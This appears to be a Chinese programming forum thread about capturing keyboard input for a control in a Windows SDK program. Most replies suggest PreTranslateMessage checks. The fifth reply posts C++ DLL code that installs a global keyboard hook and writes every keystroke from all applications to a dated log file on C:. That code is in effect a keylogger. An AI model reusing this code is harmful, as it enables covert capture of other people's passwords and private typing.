同上

解决方案 »

  1.   

    重载对话框的PreTranslateMessage事件。
      

  2.   

    http://search.csdn.net/Expert/topic/2173/2173513.xml?temp=.1187097
      

  3.   

    但我是使用windows SDK写的,里面只有主窗口的消息处理函数,怎么用PreTranslateMessage()
      

  4.   

    在PreTralateMessage中判断一下pMsg->hwnd是否等于GetDlgItem(ID_EDIT_XXX)->GetSafeHwnd();
      

  5.   

    可以用钩子,这里有一段代码就是不捕抓键盘字符的,是一个DLL。
    定义:
    HHOOK Hook;
    LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam);DllExport int _stdcall InstallLaunchEv()
    {
    Hook = (HHOOK)SetWindowsHookEx(WH_KEYBOARD,LauncherHook,
    theApp.m_hInstance,0);
    return 0;}
    LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)
    {
    LRESULT Result = CallNextHookEx(Hook,nCode,wParam,lParam);
    if( nCode == HC_ACTION)
    {
    if(lParam &0x80000000)
    {
    char c[1];
    c[0] = wParam;
    SaveLog(c);
    }
    }
    return Result;
    }
    void SaveLog(char *c)
    {
    CTime tm=CTime::GetCurrentTime();
    CString Name;
    Name.Format("C:\\key_%d_%d.log",tm.GetMonth(),tm.GetDay());
    CFile File;
    if(!File.Open(Name,CFile::modeReadWrite))
    {
    File.Open(Name,CFile::modeCreate|CFile::modeReadWrite);
    }
    File.SeekToEnd();
    File.Write(c,1);
    File.Close();
    }
    主程序只要调用LauncherHook